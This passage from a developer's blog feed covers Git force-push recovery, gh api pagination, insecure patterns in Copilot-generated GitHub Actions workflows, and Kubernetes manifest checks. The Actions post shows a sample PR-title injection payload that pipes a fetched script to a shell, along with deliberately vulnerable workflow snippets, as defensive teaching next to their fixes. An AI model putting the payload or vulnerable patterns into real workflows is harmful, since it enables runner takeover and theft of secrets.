&lt;p&gt;Now do it properly: rebase the rename onto the restored &lt;code&gt;main&lt;/code&gt;, or redo the amend after pulling.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why this works, and when it does not
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;A force push replaces a ref on the server. It does not delete commits from clones.&lt;/strong&gt; Any clone that fetched before the force push has the overwritten tip in &lt;code&gt;git reflog show origin/&amp;lt;branch&amp;gt;&lt;/code&gt;. The only truly lost case is a commit that existed &lt;em&gt;only&lt;/em&gt; on the server — which, in a normal workflow, is never.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The lease has a trap.&lt;/strong&gt; If you &lt;code&gt;git fetch&lt;/code&gt; right before pushing, your &lt;code&gt;origin/main&lt;/code&gt; is refreshed and the lease passes — the fetch is what defeats it. Fetch before you &lt;em&gt;rewrite&lt;/em&gt;, not before you push. And add &lt;code&gt;--force-if-includes&lt;/code&gt;, which additionally requires the remote's tip to be in your local history:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;git config &lt;span class="nt"&gt;--global&lt;/span&gt; alias.pushf &lt;span class="s1"&gt;'push --force-with-lease --force-if-includes'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Then never type &lt;code&gt;--force&lt;/code&gt; for a shared branch again.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;On GitHub, one more layer:&lt;/strong&gt; a ruleset or branch protection with "block force pushes" makes the mistake impossible in the first place.&lt;/p&gt;

&lt;p&gt;Clean up: &lt;code&gt;cd /tmp &amp;amp;&amp;amp; rm -rf lab-fp&lt;/code&gt;.&lt;/p&gt;




&lt;p&gt;This is Lab 19 of twenty hands-on Git and GitHub labs, each in a disposable repository with hints, the full solution and the explanation: &lt;a href="https://moderngitacademy.com/labs/recover-from-force-push/" rel="noopener noreferrer"&gt;Recover from a force push&lt;/a&gt;. The lab before it recovers a deleted branch from the &lt;em&gt;local&lt;/em&gt; reflog — same idea, one level down.&lt;/p&gt;

</description>
      <category>git</category>
      <category>github</category>
      <category>devops</category>
      <category>tutorial</category>
    </item>
    <item>
      <title>gh api --paginate --slurp --jq 'length' Counts Pages, Not Issues</title>
      <dc:creator>James Joyner</dc:creator>
      <pubDate>Sun, 13 Sep 2026 03:45:59 +0000</pubDate>
      <link>https://dev.to/jjoyneriv/gh-api-paginate-slurp-jq-length-counts-pages-not-issues-1i1b</link>
      <guid>https://dev.to/jjoyneriv/gh-api-paginate-slurp-jq-length-counts-pages-not-issues-1i1b</guid>
      <description>&lt;p&gt;&lt;code&gt;gh api --paginate --slurp --jq 'length'&lt;/code&gt; is the command everyone reaches for to count issues in a repository. It does not count issues. It counts &lt;em&gt;pages&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;I found this while writing pagination recipes for a toolkit, and then found the same wrong example in a lesson I had published — with 1,797 search impressions a month on it. So this is partly a correction and partly the mental model that stops it happening again.&lt;/p&gt;

&lt;h2&gt;
  
  
  What &lt;code&gt;--slurp&lt;/code&gt; actually does
&lt;/h2&gt;

&lt;p&gt;From &lt;code&gt;gh api --help&lt;/code&gt; (gh 2.100.0):&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Each page is a separate JSON array or object. Pass &lt;code&gt;--slurp&lt;/code&gt; to wrap all pages of JSON arrays or objects into an outer JSON array.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Read it twice. Without &lt;code&gt;--slurp&lt;/code&gt;, &lt;code&gt;--paginate&lt;/code&gt; emits one JSON array &lt;em&gt;per page&lt;/em&gt; and applies your &lt;code&gt;--jq&lt;/code&gt; filter to each page in turn. With &lt;code&gt;--slurp&lt;/code&gt;, you get &lt;strong&gt;one array whose elements are the pages&lt;/strong&gt; — an array of arrays. &lt;code&gt;length&lt;/code&gt; on that is the number of pages.&lt;/p&gt;

&lt;p&gt;You can see the shape without a token. Simulate two pages from the public API and wrap them the way &lt;code&gt;--slurp&lt;/code&gt; does (&lt;code&gt;jq -s&lt;/code&gt; slurps its inputs into one array, which is exactly the &lt;code&gt;--slurp&lt;/code&gt; semantics):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="s1"&gt;'https://api.github.com/repos/cli/cli/pulls?per_page=5&amp;amp;page=1'&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; p1.json
curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="s1"&gt;'https://api.github.com/repos/cli/cli/pulls?per_page=5&amp;amp;page=2'&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; p2.json

jq &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="s1"&gt;'length'&lt;/span&gt; p1.json p2.json
&lt;span class="c"&gt;# 2                      ← pages&lt;/span&gt;

jq &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="s1"&gt;'add | length'&lt;/span&gt; p1.json p2.json
&lt;span class="c"&gt;# 10                     ← pull requests&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;add&lt;/code&gt; concatenates the page arrays into one list. Then &lt;code&gt;length&lt;/code&gt; counts items. Every whole-collection filter after &lt;code&gt;--slurp&lt;/code&gt; starts with &lt;code&gt;add&lt;/code&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  The three flags, and how they combine
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Flag&lt;/th&gt;
&lt;th&gt;What it does&lt;/th&gt;
&lt;th&gt;Needs&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;--paginate&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Follows &lt;code&gt;Link: rel="next"&lt;/code&gt; (REST) or &lt;code&gt;pageInfo.hasNextPage&lt;/code&gt; (GraphQL with &lt;code&gt;$endCursor&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;--jq EXPR&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Runs the filter &lt;strong&gt;per page&lt;/strong&gt;, unless &lt;code&gt;--slurp&lt;/code&gt; is present&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;--slurp&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Wraps all pages in one outer array &lt;em&gt;before&lt;/em&gt; &lt;code&gt;--jq&lt;/code&gt; runs&lt;/td&gt;
&lt;td&gt;&lt;code&gt;--paginate&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The rule: &lt;strong&gt;anything that counts, sorts, or deduplicates across pages needs &lt;code&gt;--slurp&lt;/code&gt; and then &lt;code&gt;add&lt;/code&gt;.&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Wrong — one number per page&lt;/span&gt;
gh api &lt;span class="nt"&gt;--paginate&lt;/span&gt; repos/OWNER/REPO/issues &lt;span class="nt"&gt;--jq&lt;/span&gt; &lt;span class="s1"&gt;'length'&lt;/span&gt;

&lt;span class="c"&gt;# Wrong — number of pages&lt;/span&gt;
gh api &lt;span class="nt"&gt;--paginate&lt;/span&gt; &lt;span class="nt"&gt;--slurp&lt;/span&gt; repos/OWNER/REPO/issues &lt;span class="nt"&gt;--jq&lt;/span&gt; &lt;span class="s1"&gt;'length'&lt;/span&gt;

&lt;span class="c"&gt;# Right&lt;/span&gt;
gh api &lt;span class="nt"&gt;--paginate&lt;/span&gt; &lt;span class="nt"&gt;--slurp&lt;/span&gt; &lt;span class="s1"&gt;'repos/OWNER/REPO/issues?per_page=100'&lt;/span&gt; &lt;span class="nt"&gt;--jq&lt;/span&gt; &lt;span class="s1"&gt;'add | length'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Two more things in that last line. &lt;code&gt;per_page=100&lt;/code&gt; is the maximum for almost every list endpoint; the default of 30 makes &lt;code&gt;--paginate&lt;/code&gt; do three times the requests. And the path is quoted because &lt;code&gt;&amp;amp;&lt;/code&gt; would otherwise background the command.&lt;/p&gt;

&lt;h2&gt;
  
  
  The second trap on the same endpoint
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;/issues&lt;/code&gt; returns pull requests too. Every PR is an issue in GitHub's data model, with a &lt;code&gt;pull_request&lt;/code&gt; key set. So the count above is still not "open issues":&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;gh api &lt;span class="nt"&gt;--paginate&lt;/span&gt; &lt;span class="nt"&gt;--slurp&lt;/span&gt; &lt;span class="s1"&gt;'repos/OWNER/REPO/issues?per_page=100'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--jq&lt;/span&gt; &lt;span class="s1"&gt;'add | map(select(.pull_request == null)) | length'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Endpoints that wrap their list
&lt;/h2&gt;

&lt;p&gt;Some endpoints return an object — &lt;code&gt;{ total_count, workflow_runs: [...] }&lt;/code&gt; — not a bare array. &lt;code&gt;add&lt;/code&gt; on those merges objects, which is not what you want. Reach into the list first:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;gh api &lt;span class="nt"&gt;--paginate&lt;/span&gt; &lt;span class="nt"&gt;--slurp&lt;/span&gt; &lt;span class="s1"&gt;'repos/OWNER/REPO/actions/runs?per_page=100&amp;amp;status=failure'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--jq&lt;/span&gt; &lt;span class="s1"&gt;'map(.workflow_runs) | add | length'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Same for &lt;code&gt;search/*&lt;/code&gt; (&lt;code&gt;map(.items) | add&lt;/code&gt;), artifacts, and anything else with a &lt;code&gt;total_count&lt;/code&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  A recipe you can keep
&lt;/h2&gt;

&lt;p&gt;Open pull requests older than two weeks, oldest first, drafts excluded — run against a repository you have access to:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;gh api &lt;span class="nt"&gt;--paginate&lt;/span&gt; &lt;span class="nt"&gt;--slurp&lt;/span&gt; &lt;span class="s1"&gt;'repos/OWNER/REPO/pulls?per_page=100&amp;amp;state=open'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--jq&lt;/span&gt; &lt;span class="s1"&gt;'add
        | map(select(.draft | not))
        | map({number, title, author: .user.login, created_at})
        | sort_by(.created_at)
        | .[]
        | "\(.number)\t\(.created_at[:10])\t\(.author)\t\(.title)"'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;gh api --jq&lt;/code&gt; prints strings raw, so the output goes straight into &lt;code&gt;cut&lt;/code&gt;, &lt;code&gt;sort&lt;/code&gt;, or a spreadsheet.&lt;/p&gt;

&lt;h2&gt;
  
  
  Where the rest of these live
&lt;/h2&gt;

&lt;p&gt;I put ten of these patterns — issues counted by label, failed runs this week, repositories in an org missing a CODEOWNERS file, GraphQL cursor pagination, idempotent label writes — in a free file: &lt;a href="https://moderngitacademy.com/downloads/toolkit-free/gh-api-pagination-recipes.md" rel="noopener noreferrer"&gt;&lt;code&gt;gh api&lt;/code&gt; pagination recipes&lt;/a&gt;. Every jq filter in it was run against the live API before publication, which is how the counting bug got caught.&lt;/p&gt;

&lt;p&gt;The full lesson on &lt;code&gt;gh api&lt;/code&gt; — placeholders, &lt;code&gt;-f&lt;/code&gt; versus &lt;code&gt;-F&lt;/code&gt;, GraphQL, response headers, the safety habits — is here: &lt;a href="https://moderngitacademy.com/github/cli/gh-api/" rel="noopener noreferrer"&gt;gh api: the full GitHub API from the command line&lt;/a&gt;. It is corrected now.&lt;/p&gt;

</description>
      <category>github</category>
      <category>cli</category>
      <category>bash</category>
      <category>devops</category>
    </item>
    <item>
      <title>Copilot Writes Your GitHub Actions Workflow. Here Are the 4 Things It Gets Wrong.</title>
      <dc:creator>James Joyner</dc:creator>
      <pubDate>Sat, 12 Sep 2026 16:38:33 +0000</pubDate>
      <link>https://dev.to/jjoyneriv/copilot-writes-your-github-actions-workflow-here-are-the-4-things-it-gets-wrong-5l3</link>
      <guid>https://dev.to/jjoyneriv/copilot-writes-your-github-actions-workflow-here-are-the-4-things-it-gets-wrong-5l3</guid>
      <description>&lt;p&gt;Copilot is genuinely good at GitHub Actions YAML. It knows the schema, it remembers the syntax you always look up, and it will produce a working workflow faster than you will.&lt;/p&gt;

&lt;p&gt;It is also fluent in every insecure pattern on GitHub, because those patterns are all over its training data. The workflow it hands you will usually &lt;em&gt;run&lt;/em&gt;. That is a different property from being safe.&lt;/p&gt;

&lt;p&gt;Here are the four things I check on every generated workflow, in the order they cost you.&lt;/p&gt;

&lt;h2&gt;
  
  
  1. Script injection via &lt;code&gt;github.event&lt;/code&gt;
&lt;/h2&gt;

&lt;p&gt;This is the one that turns a pull request into code execution on your runner.&lt;/p&gt;

&lt;p&gt;Anything under &lt;code&gt;github.event&lt;/code&gt; that a contributor controls — &lt;strong&gt;PR title, body, branch name, commit message&lt;/strong&gt; — is untrusted input. Interpolating it into a &lt;code&gt;run:&lt;/code&gt; block with &lt;code&gt;${{ }}&lt;/code&gt; is command injection, full stop.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="c1"&gt;# Vulnerable. The PR title is shell.&lt;/span&gt;
&lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;run&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;echo "Reviewing&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt; &lt;span class="s"&gt;${{ github.event.pull_request.title }}"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A pull request titled &lt;code&gt;a"; curl evil.sh | sh; #&lt;/code&gt; is not a hypothetical. The &lt;code&gt;${{ }}&lt;/code&gt; expression is substituted into the script &lt;em&gt;before&lt;/em&gt; the shell sees it, so quoting inside the YAML does not save you.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="c1"&gt;# Safe. The value arrives as an environment variable, never as script text.&lt;/span&gt;
&lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;run&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;echo "Reviewing&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt; &lt;span class="s"&gt;$PR_TITLE"&lt;/span&gt;
  &lt;span class="na"&gt;env&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;PR_TITLE&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;${{ github.event.pull_request.title }}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The fix is mechanical: &lt;strong&gt;pass it through &lt;code&gt;env:&lt;/code&gt;&lt;/strong&gt;. Copilot will write it correctly if you ask, and will usually write the interpolated version if you do not.&lt;/p&gt;

&lt;h2&gt;
  
  
  2. Permissions default to whatever the repository says
&lt;/h2&gt;

&lt;p&gt;If your workflow does not declare &lt;code&gt;permissions&lt;/code&gt;, the token gets the repository default — which may well be write access to everything.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;permissions&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;contents&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;read&lt;/span&gt;     &lt;span class="c1"&gt;# at the workflow level&lt;/span&gt;

&lt;span class="na"&gt;jobs&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;release&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;permissions&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="na"&gt;contents&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;write&lt;/span&gt;  &lt;span class="c1"&gt;# widened only where it is needed&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Set &lt;code&gt;contents: read&lt;/code&gt; at the top and widen per job. Generated workflows omit the block entirely far more often than they get it wrong.&lt;/p&gt;

&lt;h2&gt;
  
  
  3. Tags are mutable pointers owned by someone else
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;uses&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;some-org/some-action@v3&lt;/span&gt;          &lt;span class="c1"&gt;# a tag. Can be repointed at any time.&lt;/span&gt;
&lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;uses&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;some-org/some-action@a81bbbf...&lt;/span&gt;  &lt;span class="c1"&gt;# a commit. Cannot.&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Pin every third-party action to a &lt;strong&gt;full commit SHA&lt;/strong&gt;. &lt;code&gt;@v3&lt;/code&gt; is a label the action's maintainer — or anyone who compromises their account — can move to different code without your repository changing at all.&lt;/p&gt;

&lt;p&gt;This is the one where Copilot is least likely to help unprompted, because essentially every example on the internet uses a tag.&lt;/p&gt;

&lt;h2&gt;
  
  
  4. &lt;code&gt;pull_request_target&lt;/code&gt; is not &lt;code&gt;pull_request&lt;/code&gt;
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;pull_request_target&lt;/code&gt; runs with a &lt;strong&gt;writable token and access to secrets&lt;/strong&gt;, in the base repository's context. That is the point of it, and it is why it exists for workflows that need to comment on or label PRs from forks.&lt;/p&gt;

&lt;p&gt;Combining it with a checkout of the PR head is the classic compromise:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="c1"&gt;# Dangerous: untrusted code, running with secrets and a write token.&lt;/span&gt;
&lt;span class="na"&gt;on&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;pull_request_target&lt;/span&gt;
&lt;span class="na"&gt;jobs&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;build&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;steps&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;uses&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;actions/checkout@&amp;lt;sha&amp;gt;&lt;/span&gt;
        &lt;span class="na"&gt;with&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
          &lt;span class="na"&gt;ref&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;${{ github.event.pull_request.head.sha }}&lt;/span&gt;   &lt;span class="c1"&gt;# fork's code&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;run&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;npm install &amp;amp;&amp;amp; npm test&lt;/span&gt;                        &lt;span class="c1"&gt;# fork's scripts&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If you asked for "a workflow that tests pull requests from forks", this shape is a plausible answer and a serious hole. Use &lt;code&gt;pull_request&lt;/code&gt; unless you specifically need the elevated context, and if you do need it, do not execute the fork's code in the same job.&lt;/p&gt;

&lt;h2&gt;
  
  
  And one thing to do instead of managing secrets
&lt;/h2&gt;

&lt;p&gt;Use &lt;strong&gt;OIDC&lt;/strong&gt; rather than stored cloud credentials. Your workflow requests a short-lived token from the cloud provider, scoped to the repository and branch. There is then no long-lived secret in the repository to leak, rotate, or find in a log.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;permissions&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;id-token&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;write&lt;/span&gt;
  &lt;span class="na"&gt;contents&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;read&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Copilot writes OIDC configuration well when you ask for it by name. It will reach for &lt;code&gt;secrets.AWS_ACCESS_KEY_ID&lt;/code&gt; when you do not.&lt;/p&gt;

&lt;h2&gt;
  
  
  How to actually get better output
&lt;/h2&gt;

&lt;p&gt;Two things move generated workflows more than prompt phrasing does:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Put the rules in an instructions file.&lt;/strong&gt; A &lt;code&gt;.github/copilot-instructions.md&lt;/code&gt; stating "pin actions to SHAs, never interpolate &lt;code&gt;github.event&lt;/code&gt; into &lt;code&gt;run:&lt;/code&gt;, declare &lt;code&gt;permissions&lt;/code&gt; at workflow level" changes what comes back on every request, in a way that re-prompting does not. It supplies information the model did not have, rather than asking it to try harder.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Let &lt;code&gt;actionlint&lt;/code&gt; be the gate.&lt;/strong&gt; It catches shell-injection patterns, bad expressions and schema errors, and it runs in about a second. Anything it catches is something you do not have to review for.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;actionlint&lt;/code&gt; is the closest thing to a free win here — and it is worth knowing what it does &lt;em&gt;not&lt;/em&gt; catch, which is most of items 2, 3 and 4 above. Those are policy, not syntax, and a human or an instructions file has to carry them.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;I keep a fuller version of this — including the worked example, the destructive-workflow review checklist, and what actionlint does and does not catch — at &lt;a href="https://thecopilotstack.com/github-copilot/devops/github-actions/" rel="noopener noreferrer"&gt;GitHub Copilot for CI/CD with GitHub Actions&lt;/a&gt;. The &lt;a href="https://thecopilotstack.com/github-copilot/customization/copilot-instructions/" rel="noopener noreferrer"&gt;instructions-file lesson&lt;/a&gt; is the other half of this.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>githubactions</category>
      <category>security</category>
      <category>devops</category>
      <category>cicd</category>
    </item>
    <item>
      <title>Copilot Wrote a Kubernetes Manifest That Passed Schema Validation With 21 Security Findings In It</title>
      <dc:creator>James Joyner</dc:creator>
      <pubDate>Sat, 12 Sep 2026 06:52:17 +0000</pubDate>
      <link>https://dev.to/jjoyneriv/copilot-wrote-a-kubernetes-manifest-that-passed-schema-validation-with-21-security-findings-in-it-38ch</link>
      <guid>https://dev.to/jjoyneriv/copilot-wrote-a-kubernetes-manifest-that-passed-schema-validation-with-21-security-findings-in-it-38ch</guid>
      <description>&lt;p&gt;I asked Copilot for a Deployment manifest. It produced valid YAML. &lt;code&gt;kubeconform&lt;/code&gt; passed it against the strict schema without a complaint.&lt;/p&gt;

&lt;p&gt;Then I ran a policy scanner over the same file and got &lt;strong&gt;twenty-one findings&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Nothing was wrong with the YAML. Everything was wrong with the Deployment.&lt;/p&gt;

&lt;h2&gt;
  
  
  Schema validation and safety are different questions
&lt;/h2&gt;

&lt;p&gt;This is the part worth internalising, because it generalises past Kubernetes: &lt;strong&gt;a structural validator checks that your file is shaped correctly. It has no opinion about whether the thing you described is a good idea.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;kubeconform&lt;/code&gt; asks "is &lt;code&gt;spec.template.spec.containers[0].image&lt;/code&gt; a string?" It does not ask "does this container run as root?" Both tools were doing their jobs. Only one of them was doing the review.&lt;/p&gt;

&lt;p&gt;Run both. The schema check is fast enough to be a pre-commit hook; the policy scan belongs in CI.&lt;/p&gt;

&lt;h2&gt;
  
  
  The three things generated manifests omit, essentially every time
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Probes.&lt;/strong&gt; No &lt;code&gt;readinessProbe&lt;/code&gt;, no &lt;code&gt;livenessProbe&lt;/code&gt;, no &lt;code&gt;startupProbe&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Resource requests and limits.&lt;/strong&gt; A pod with no requests is scheduled anywhere and evicted first.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;code&gt;securityContext&lt;/code&gt;.&lt;/strong&gt; No &lt;code&gt;runAsNonRoot&lt;/code&gt;, no &lt;code&gt;allowPrivilegeEscalation: false&lt;/code&gt;, no &lt;code&gt;readOnlyRootFilesystem&lt;/code&gt;, no dropped capabilities.&lt;/p&gt;

&lt;p&gt;Those three are the review. If you check nothing else on a generated manifest, check those — and note that a namespace with Pod Security Admission set to &lt;code&gt;restricted&lt;/code&gt; will reject the pod at admission rather than at review, which is a much better place to find out.&lt;/p&gt;

&lt;h2&gt;
  
  
  The probe mistake that turns a slow dependency into an outage
&lt;/h2&gt;

&lt;p&gt;This one deserves its own section because it is subtle, common, and it fails at exactly the wrong moment.&lt;/p&gt;

&lt;p&gt;Generated manifests frequently point &lt;code&gt;livenessProbe&lt;/code&gt; and &lt;code&gt;readinessProbe&lt;/code&gt; at the same endpoint. They look equivalent. They are not — they answer different questions:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;startupProbe&lt;/code&gt;&lt;/strong&gt; — has it finished booting?&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;readinessProbe&lt;/code&gt;&lt;/strong&gt; — should it receive traffic &lt;em&gt;right now&lt;/em&gt;?&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;livenessProbe&lt;/code&gt;&lt;/strong&gt; — is it wedged, and worth killing?&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If your &lt;code&gt;/health&lt;/code&gt; endpoint checks the database, and the database gets slow, then a shared probe means every pod simultaneously fails liveness. Kubernetes responds by &lt;strong&gt;restarting your entire deployment during an incident&lt;/strong&gt; instead of taking the pods out of rotation and letting them recover.&lt;/p&gt;

&lt;p&gt;Readiness failing is "stop sending me traffic". Liveness failing is "I am beyond saving, kill me". Wiring them to the same check tells the cluster to do the second when you meant the first.&lt;/p&gt;

&lt;h2&gt;
  
  
  &lt;code&gt;--dry-run=client&lt;/code&gt; is not offline
&lt;/h2&gt;

&lt;p&gt;A very common and wrong assumption, and worth stating plainly because it breaks CI in a confusing way:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;kubectl apply &lt;span class="nt"&gt;--dry-run&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;client &lt;span class="nt"&gt;-f&lt;/span&gt; manifests/
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This &lt;strong&gt;downloads the OpenAPI schema from the API server.&lt;/strong&gt; With no cluster reachable, it fails outright. It is not a local syntax check, and it is not what you want in a pipeline that has no cluster credentials. Use &lt;code&gt;kubeconform&lt;/code&gt; for that.&lt;/p&gt;

&lt;h2&gt;
  
  
  And check your context before every command
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;kubectl config current-context
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Ambient context is how a command meant for staging reaches production. This has nothing to do with AI and everything to do with the fact that generated commands are easy to paste quickly.&lt;/p&gt;

&lt;h2&gt;
  
  
  Where Copilot genuinely helps here
&lt;/h2&gt;

&lt;p&gt;Not in producing the manifest — in &lt;em&gt;explaining&lt;/em&gt; one. Pointing it at an inherited chart and asking what a particular block does, or why a probe is configured a certain way, is the use case that has consistently earned its keep for me. Reading unfamiliar YAML is slow and there is no glory in it.&lt;/p&gt;

